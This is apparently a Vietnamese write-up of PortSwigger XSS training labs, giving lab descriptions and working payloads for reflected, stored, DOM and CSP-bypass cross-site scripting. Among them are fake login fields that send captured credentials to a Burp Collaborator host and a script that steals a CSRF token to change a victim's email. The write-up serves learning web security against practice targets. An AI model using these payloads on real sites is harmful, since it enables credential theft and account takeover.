WEB07: XSS

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Lab: Reflected XSS into HTML context with nothing encoded

This lab contains a simple reflected cross-site scripting vulnerability in the search functionality.

To solve the lab, perform a cross-site scripting attack that calls the alert function.

Access vào bài lab, ta thấy có chức năng Search

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Khi sử dụng tính năng này, nhận thấy vì input được reflect trong response nên chỉ cần call alert function để solve bài lab

<script>alert(1)</script>

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Lab: Reflected XSS into HTML context with most tags and attributes blocked

This lab contains a reflected XSS vulnerability in the search functionality but uses a web application firewall (WAF) to protect against common XSS vectors.

To solve the lab, perform a cross-site scripting attack that bypasses the WAF and calls the print() function.

Tìm được hai tag là body và custom tag thông qua cheat sheet của port swigger không bị chặn bởi WAF

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Tiếp theo là tìm các event của hai tag này với phương pháp tương tự

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Ở đây ta thử event onresize của tag body, search trong cheet sheet thì thấy có một payload: <body onresize=print()>, khi window được resize sẽ call đến event -> print function

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Việc còn lại là tìm cách "delivery" payload này đến victim, setup exploit server như sau:

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Tạo một iframe với src là trang web bị lỗi reflected xss và sau đó áp dụng event onload để resize iframe => trigger payload xss và thực thi print function

Cuối cùng chọn Delivery exploit to victim để solve bài lab

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Lab: Reflected XSS into HTML context with all tags blocked except custom ones

This lab blocks all HTML tags except custom ones.

To solve the lab, perform a cross-site scripting attack that injects a custom tag and automatically alerts document.cookie.

Ở bài lab này các tag đều bị block trừ custom tag, theo như cheet sheet của portswigger ta tìm được payload:
<xss tabindex=1 onfocus=alert(document.cookie) id=x>#x

Về bản chất ta tạo ra một custom tag xss với id là x, thuộc tính onfocus sẽ call đến alert function khi được focus, tabindex chỉ định thứ tự sẽ được focus khi ấn nút Tab. Có thêm fragment x ở url để focus vào custom tag này

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Lab: Reflected XSS with event handlers and href attributes blocked

This lab contains a reflected XSS vulnerability with some whitelisted tags, but all events and anchor href attributes are blocked..

To solve the lab, perform a cross-site scripting attack that injects a vector that, when clicked, calls the alert function.

Note that you need to label your vector with the word "Click" in order to induce the simulated lab user to click your vector. For example:

<a href="">Click me</a>

Scan các tag không bị chặn:

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Sau một hồi search với các keyword liên quan, ta tìm được một blog để tham khảo

Final payload: <svg><a><animate attributeName=href values="javascript:alert(1)" /><text x=20 y=20>Click me</text></a>

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Lab: Reflected XSS with some SVG markup allowed

This lab has a simple reflected XSS vulnerability. The site is blocking common tags but misses some SVG tags and events.

To solve the lab, perform a cross-site scripting attack that calls the alert() function.

Các tag không bị chặn là animatetransform, svg

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Đồng thời scan được event là onbegin cũng không bị chặn bởi waf

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Cấu trúc của tag svg khi sử dụng với animatetransform như sau

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Vậy nếu ta thử thêm thuộc tính onbegin cho animatetransform tag => XSS

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Lab: Reflected XSS into attribute with angle brackets HTML-encoded

This lab contains a reflected cross-site scripting vulnerability in the search blog functionality where angle brackets are HTML-encoded. To solve this lab, perform a cross-site scripting attack that injects an attribute and calls the alert function.

Ở bài lab này các dấu < , > đã bị html encode

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Vì thế ta sẽ cần inject vào attribute của một tag, để ý ở dưới có một tag input có thể khai thác

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Payload " autofocus onfocus=alert(1) a="

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

This lab reflects user input in a canonical link tag and escapes angle brackets.

To solve the lab, perform a cross-site scripting attack on the home page that injects an attribute that calls the alert function.

To assist with your exploit, you can assume that the simulated user will press the following key combinations:

ALT+SHIFT+X
CTRL+ALT+X
Alt+X
Please note that the intended solution to this lab is only possible in Chrome.

Từ bài research của portswigger, ta có thể dễ dàng solve bài lab với payload

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Kết quả

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Lab: Reflected XSS into a JavaScript string with single quote and backslash escaped

This lab contains a reflected cross-site scripting vulnerability in the search query tracking functionality. The reflection occurs inside a JavaScript string with single quotes and backslashes escaped.

To solve this lab, perform a cross-site scripting attack that breaks out of the JavaScript string and calls the alert function.

Ở lab này, input của ta sẽ được reflect trong một block script

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Để XSS ta cần break script tag này và chèn payload xss: </script><img src=x onerror=alert(1)>//

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Lab: Reflected XSS into a JavaScript string with angle brackets HTML encoded

This lab contains a reflected cross-site scripting vulnerability in the search query tracking functionality where angle brackets are encoded. The reflection occurs inside a JavaScript string. To solve this lab, perform a cross-site scripting attack that breaks out of the JavaScript string and calls the alert function.

Thử search với input là <a>, ta được response như sau

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

=> các kí tự <> đã bị encode

Ta có thể break khỏi string hiện tại bằng dấu -, payload: -alert(1)-

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Lab: Reflected XSS into a JavaScript string with angle brackets and double quotes HTML-encoded and single quotes escaped

This lab contains a reflected cross-site scripting vulnerability in the search query tracking functionality where angle brackets and double are HTML encoded and single quotes are escaped.

To solve this lab, perform a cross-site scripting attack that breaks out of the JavaScript string and calls the alert function.

Search với input là bla'bla

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Ta thấy lần này ' đã được escape với \, tuy nhiên có thể bypass bằng cách sử dụng thêm một kí tự \

Final payload: \'-alert(1)//

Lab: Reflected XSS in a JavaScript URL with some characters blocked

This lab reflects your input in a JavaScript URL, but all is not as it seems. This initially seems like a trivial challenge; however, the application is blocking some characters in an attempt to prevent XSS attacks.

To solve the lab, perform a cross-site scripting attack that calls the alert function with the string 1337 contained somewhere in the alert message.

Ý tưởng dựa vào bài research https://portswigger.net/research/xss-without-parentheses-and-semi-colons

Payload: &%27},x=x=%3E{throw/**/onerror=alert,1337},toString=x,window%2b%27%27,{x:%27

=> url decode: &'},x=x=>{throw/**/onerror=alert,1337},toString=x,window+'',{x:'

Giải thích

Implicit Globals

Khi ta khai báo một biến mà không sử dụng var, let ,const nó sẽ được gán cho thuộc tính của global object. Trên trình duyệt, global object là window.

Arrow Function

x=x=>{onerror=alert; throw 1337}

Tạo ra một arrow function và gán cho x. Function x chứa đoạn statement gán error handler onerror thành alert function sau và đó throw 1337 sẽ truyền tham số 1337 cho error handler function (lúc này đã bị ghi đè thành alert). Như đã nói ở trên x sẽ được hiểu "implicit global" và được gán vào window.

Ghi đè toString

toString=x

Khi đè toString method của window thành x, vì thế khi ta convert window sang một string, nó sẽ gọi đến x

Converting window to String

window+''

Khi ta concate với '' sẽ trigger method window.toString() -> window.x()

Lab: Reflected XSS into a template literal with angle brackets, single, double quotes, backslash and backticks Unicode-escaped

This lab contains a reflected cross-site scripting vulnerability in the search blog functionality. The reflection occurs inside a template string with angle brackets, single, and double quotes HTML encoded, and backticks escaped. To solve this lab, perform a cross-site scripting attack that calls the alert function inside the template string.

Ở chức năng search, input của ta được đưa một template literal của JS

Bởi vì các kí tự angle brackets, single, double quotes, backslash và backticks đã bị escape nên chỉ còn cách sử dụng ${...} để thực thi JS

Payload: ${alert(1)}

Lab: Stored XSS into HTML context with nothing encoded

This lab contains a stored cross-site scripting vulnerability in the comment functionality.

To solve this lab, submit a comment that calls the alert function when the blog post is viewed.

Từ mô tả, có thể dễ dàng khai thác store xss như sau

Sau khi Post Comment, ta chọn Back to blog và sẽ thấy alert function được gọi

Lab: Stored XSS into anchor href attribute with double quotes HTML-encoded

This lab contains a stored cross-site scripting vulnerability in the comment functionality. To solve this lab, submit a comment that calls the alert function when the comment author name is clicked.

Từ mô tả, chức năng XSS có liên quan đến tính năng comment của trang web -> thử với các thông tin

-> Input của ta được đưa vào attribute href của tag a

Để thỏa yêu cầu đề bài, ta chỉ cần chỉnh cho giá trị của field Website là javascript:alert(1)

Kết quả

Lab: Stored XSS into onclick event with angle brackets and double quotes HTML-encoded and single quotes and backslash escaped

This lab contains a stored cross-site scripting vulnerability in the comment functionality.

To solve this lab, submit a comment that calls the alert function when the comment author name is clicked.

Ở tính năng comment, ta thử Post với các giá trị như sau

Sau khi Post, back to blog và view source sẽ thấy input của ta (trường Website) rơi vào value của tag a

Nhưng vì angle brackets và double quotes đã bị html encode, single quotes và backslash bị escaped nên ta phải sử dụng cách đó là html encode vài kí tự trong payload. Bởi vì trình duyệt sẽ HTML decode giá trị của thuộc tính onclick trước khi parse JS

Payload ban đầu : ');alert(1)//
-> HTML encode: &#39;&#41;&#59;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;&#47;&#47;

Kết quả:

Lab: DOM XSS in document.write sink using source

This lab contains a DOM-based cross-site scripting vulnerability in the search query tracking functionality. It uses the JavaScript document.write function, which writes data out to the page. The document.write function is called with data from location.search, which you can control using the website URL.

To solve this lab, perform a cross-site scripting attack that calls the alert function.

Từ đoạn JS sau

ta có thể suy ra được

  • source: search param
  • sink: document.writetrackSearch function

-> XSS với payload như sau

Lab: DOM XSS in document.write sink using source location.search inside a select element

This lab contains a DOM-based cross-site scripting vulnerability in the stock checker functionality. It uses the JavaScript document.write function, which writes data out to the page. The document.write function is called with data from location.search which you can control using the website URL. The data is enclosed within a select element.

To solve this lab, perform a cross-site scripting attack that breaks out of the select element and calls the alert function.

Chức năng stock check:

Đoạn code JS trong trang này như sau

=> Source là storeId GET param và sink là document.write (sẽ cần đóng tag option)

Test với storeId=abc:

Solve bài lab:

Lab: DOM XSS in innerHTML sink using source

This lab contains a DOM-based cross-site scripting vulnerability in the search blog functionality. It uses an innerHTML assignment, which changes the HTML contents of a div element, using data from location.search.

To solve this lab, perform a cross-site scripting attack that calls the alert function.

View source trang web, ta tìm được đoạn JS dính lỗi DOM-XSS

Source: search param, sink: document.innerHTML. Tuy nhiên đối với innerHTML ta không thể dùng script tag bởi vì trình duyệt đã có cơ chế không thực thi đoạn mã JS trong tình huống đó vì vậy có thể xài img hoặc iframe tag cũng với các event quen thuộc để trigger XSS

Lab: DOM XSS in jQuery anchor href attribute sink using location.search source

This lab contains a DOM-based cross-site scripting vulnerability in the submit feedback page. It uses the jQuery library's $ selector function to find an anchor element, and changes its href attribute using data from location.search.

To solve this lab, make the "back" link alert document.cookie.

Ở trang dùng để submit feedback

Có một đoạn jquery mà ta có thể lợi dụng để khai thác DOM XSS

=> Dễ dàng thay đổi giá trị của thuộc tính href thành giá trị bất kì thông qua GET param returnPath -> ?returnPath=javascript:alert(1)

Lab: Reflected DOM XSS

This lab demonstrates a reflected DOM vulnerability. Reflected DOM vulnerabilities occur when the server-side application processes data from a request and echoes the data in the response. A script on the page then processes the reflected data in an unsafe way, ultimately writing it to a dangerous sink.

To solve this lab, create an injection that calls the alert() function.

Follow của trang web, khi ta ấn search một GET request sẽ được gửi đến /search-results?search=<input>

Response trả về sẽ được process bởi file searchResults.js

Nội dung file này khá dài nhưng ta cần để ý tới điểm sau

Response được đưa vào hàm eval -> sink tại đây

Vậy điều ta cần làm là nhập input sao cho response trả về của GET request đến /search-results chứa payload xss

Sau một hồi fuzzing, suy ra có thể dùng \ để escape JSON response và chèn payload XSS

Solve bài lab

Lab: Stored DOM XSS

This lab demonstrates a stored DOM vulnerability in the blog comment functionality. To solve this lab, exploit this vulnerability to call the alert() function.

Về luồng hoạt động, khi post lên một comment

Các thông tin sẽ được lưu trên server sau đó trang sử dụng một file JS là loadCommentsWithVulnerableEscapeHtml.js để oad comments từ server và render

Sau khi xem qua một lượt về file này, dễ thấy sink nằm ở đoạn code

comment.author chính là giá trị name khi ta post comment

Tuy nhiên nếu muốn khai thác XSS ta phải bypass được function escapeHTML().Chức năng của hàm này như sau:


-> thực hiện thay thế kí tự < thành &lt;> thành &gt;.

Nhưng trong JS nếu ta sử dụng .replace() với tham số thứ nhất là một value chứ không phải regex patern thì nó chỉ thay thế kí tự đầu tiên của chuỗi

Payload:

Kết quả:

Lab: Exploiting cross-site scripting to steal cookies

This lab contains a stored XSS vulnerability in the blog comments function. A simulated victim user views all comments after they are posted. To solve the lab, exploit the vulnerability to exfiltrate the victim's session cookie, then use this cookie to impersonate the victim.

Đề bài mô tả bài lab này bị lỗi stored XSS ở chức năng comment, thực hiện khai thác như sau:

Post Comment, chở một vài giây ta lấy được cookie của victim

Chỉnh thành giá trị cookie của victim

Vào lại My account kiểm tra -> giả mạo được user admin và solve bài lab

Lab: Exploiting cross-site scripting to capture passwords

This lab contains a stored XSS vulnerability in the blog comments function. A simulated victim user views all comments after they are posted. To solve the lab, exploit the vulnerability to exfiltrate the victim's username and password then use these credentials to log in to the victim's account.

Lợi dụng chức năng auto fill, tạo hai ô input giả mạo ứng với username và password bằng cách post comment với nội dung:

<label>Username</label>
<input required type=username name="username" onchange="if(this.value.length>0)navigator.sendBeacon('https://er9wzpona17tux07gygnnh0klbr1fq.burpcollaborator.net', this.value)">
<label>Password</label>
<input required type=password name="password" onchange="if(this.value.length>0)navigator.sendBeacon('https://er9wzpona17tux07gygnnh0klbr1fq.burpcollaborator.net', this.value)">
<button class=button type=submit> Log in </button>

Chờ một vài giây và kiểm tra burp collab client, ta lấy được username và password của victim

Username administrator:

Password:

Login với account vừa lấy được để solve bài lab

Lab: Exploiting XSS to perform CSRF

This lab contains a stored XSS vulnerability in the blog comments function. To solve the lab, exploit the vulnerability to perform a CSRF attack and change the email address of someone who views the blog post comments.

You can log in to your own account using the following credentials: wiener:peter

Ý tưởng: lợi dụng Stored XSS để extract csrf token và áp dụng csrf để change email.

Login với account được cung cấp

Sau đó change email, request sẽ có dạng như sau

Csrf token có thể được lấy ở /my-account

Stored xss tại chức năng comment

Payload:

<script>
	var x = new XMLHttpRequest;
	x.open('GET', '/my-account');
	x.onload = function () {
		var csrfToken = this.responseText.match(/name="csrf" value="(.*)">/)[1];
		fetch('/my-account/change-email', {
		method: 'POST',
		mode: 'no-cors',
		headers:{
		'Content-Type': 'application/x-www-form-urlencoded'
		},    
		body: new URLSearchParams({
			'email': 'hacked@gmail.com',
			'csrf': csrfToken
		})
	});
	}
	x.send();
</script>

Kết quả

Lab: Reflected XSS protected by very strict CSP, with dangling markup attack

This lab using a strict CSP that blocks outgoing requests to external web sites.

To solve the lab, first perform a cross-site scripting attack that bypasses the CSP and exfiltrates a simulated victim user's CSRF token using Burp Collaborator. You then need to change the simulated user's email address to hacker@evil-user.net.

You must label your vector with the word "Click" in order to induce the simulated user to click it. For example:

<a href="">Click me</a>
You can log in to your own account using the following credentials: wiener:peter

Ở chức năng Update email, ta thấy trang web tự fill vào ô input email với giá trị ứng với ?email

Vậy có thể khai thác dangling markup để steal csrf token của victim với payload:

?email="><a%20href="https://exploit-0a580012045b7c1480dd16fa011600e7.exploit-server.net/exploit">Click%20me<base%20target=%27

Thử ấn Click me


(bên phía exploit server setup cho alert(name))

Setup lại exploit server

Delivery exploit to victim và check access log

Tạo lại CSRF form để Update email của user admin

Delivery exploit to victim và Solve

Lab: Reflected XSS protected by CSP, with CSP bypass

This lab uses CSP and contains a reflected XSS vulnerability.

To solve the lab, perform a cross-site scripting attack that bypasses the CSP and calls the alert function.

Please note that the intended solution to this lab is only possible in Chrome.

Sau một hồi fuzzing, nhận ra ta có thể khai thác csp injection tại param token

Final payload

Solve

Lab: Reflected XSS with AngularJS sandbox escape without strings

This lab uses AngularJS in an unusual way where the $eval function is not available and you will be unable to use any strings in AngularJS.

To solve the lab, perform a cross-site scripting attack that escapes the sandbox and executes the alert function without using the $eval function
tags: portswigger